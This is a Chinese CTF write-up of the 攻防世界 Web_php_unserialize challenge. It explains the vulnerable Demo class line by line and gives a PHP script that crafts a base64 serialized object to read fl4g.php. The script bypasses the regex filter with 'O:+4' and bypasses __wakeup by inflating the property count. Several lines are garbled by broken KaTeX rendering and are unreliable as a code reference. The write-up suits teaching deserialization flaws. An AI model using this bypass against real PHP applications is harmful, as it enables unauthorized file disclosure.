当前位置: 首页 > article >正文

14,攻防世界Web_php_unserialize

917e8f539c2640db89dd6aa9bba58c26.png

进入场景

35a7691b825b413699301615f473fdf8.png

看见代码,解析一下

这段PHP代码定义了一个名为Demo的类,并演示了如何通过URL参数进行反序列化和文件高亮显示的功能,同时也包含了一些安全措施以防止对象注入攻击。下面是对这段代码的逐行解释:

1.<php 开始PHP代码。

2.class Demo { 定义了一个名为Demo的类。

3.private f i l e = ′ i n d e x . p h p ′ ; 在 D e m o 类中定义了一个私有属性 file = 'index.php'; 在Demo类中定义了一个私有属性 file=index.php;Demo类中定义了一个私有属性file,并初始化为’index.php’。这意味着这个属性只能在类的内部被访问和修改。

4.public function __construct(KaTeX parse error: Expected '}', got 'EOF' at end of input: …了类的构造函数,它接受一个参数file。

5.$this->file = f i l e ; 在构造函数中,将传入的 file; 在构造函数中,将传入的 file;在构造函数中,将传入的file参数值赋给类的私有属性$file。

6.} 结束构造函数。

7.function __destruct() { 定义了类的析构函数,当对象被销毁时自动调用。

8.echo @highlight_file( t h i s − > f i l e , t r u e ) ; 使用 h i g h l i g h t _ f i l e 函数高亮显示 this->file, true); 使用highlight\_file函数高亮显示 this>file,true);使用highlight_file函数高亮显示this->file指定的文件内容,并输出。@符号用于抑制可能出现的错误或警告。

9.} 结束析构函数。

10.function __wakeup() { 定义了__wakeup方法,这是一个魔术方法,在对象被反序列化时自动调用。

11.if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …ndex.php') { 检查file属性是否不等于’index.php’。

12. t h i s − > f i l e = ′ i n d e x . p h p ′ ; 如果 this->file = 'index.php'; 如果 this>file=index.php;如果file属性不等于’index.php’,则将其重置为’index.php’。

13.} 结束__wakeup方法。

14.} 结束Demo类。

15.if (isset($_GET[‘var’])) { 检查URL参数中是否存在var。

16. v a r = b a s e 64 _ d e c o d e ( var = base64\_decode( var=base64_decode(_GET[‘var’]); 将var参数的值进行Base64解码。

17.if (preg_match(‘/[oc]:d+:/i’, $var)) { 使用正则表达式检查解码后的字符串是否包含类似序列化对象的模式(例如O:数字:…或C:数字:…)。这是一种简单的安全措施,用于防止对象注入攻击。

18.die(‘stop hacking!’); 如果检测到可能的对象注入攻击,则终止脚本执行。

19.} else { 如果没有检测到攻击。

20.@unserialize( v a r ) ; 尝试反序列化 var); 尝试反序列化 var);尝试反序列化var。@符号用于抑制可能出现的错误或警告。

21.} 结束else块。

22.} else { 如果URL参数中没有var。

23.highlight_file(“index.php”); 直接高亮显示当前文件(index.php)。

24.} 结束if-else结构。

25.> 结束PHP代码。

根据分析,我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数

写个PHP代码运行一下,传给var

PHP序列化和反序列化 - 爱资料工具

<?php
class Demo {?
? ? private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); ? ? ? //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); ? ? ? ?//绕过__wakeup()函数
echo base64_encode($a); ? ? ? ? ? ? ? ? ? //绕过解码函数
?>

在PHP的序列化字符串中,对象通常以“O:”开头,后面跟着对象的类名长度、类名字符串、以及对象属性的序列化表示。


http://www.kler.cn/a/449122.html

相关文章:

  • Redis篇--常见问题篇6--缓存一致性1(Mysql和Redis缓存一致,更新数据库删除缓存策略)
  • ubuntu22.04安装PaddleX3
  • 什么是3DEXPERIENCE SOLIDWORKS,它有哪些角色和功能?
  • Mac上详细配置java开发环境和软件(更新中)
  • YOLO-World:Real-Time Open-Vocabulary Object Detection
  • 2024年12月21日 辩论赛有感
  • 深入了解Linux —— make和makefile自动化构建工具
  • 以太坊账户详解
  • 构建一个rust生产应用读书笔记7-Mock编码浪子
  • 项目测试方案流程详解
  • ARP协议的工作原理
  • 【jvm】内存泄漏的8种情况
  • 前端面经每日一题Day19
  • 电子应用设计方案68:智能晾衣架系统设计
  • 每日一题 341. 扁平化嵌套列表迭代器
  • Linux嵌入式系统利用套接字编程(Socket Programming)实现网络通信的基础知识并附对一个简单实例的分析
  • 【Spring】控制反转(IoC)与依赖注入(DI)—IoC的概念与优点
  • 【YashanDB知识库】YMP迁移过程中报错YAS-02143或YAS-02193
  • 如何在K8S集群中查看和操作Pod内的文件?
  • 基于Spring Boot的远程教育网站
  • IPC协议获取签名信息
  • [计算机图形学] 【Unity Shader】【图形渲染】Shader数学基础6-逆矩阵与正交矩阵
  • leetcode hot100 合并区间
  • net_device结构
  • golang自定义MarshalJSON、UnmarshalJSON 原理和技巧
  • 【蓝桥杯每日一题】 蜗牛——动态规划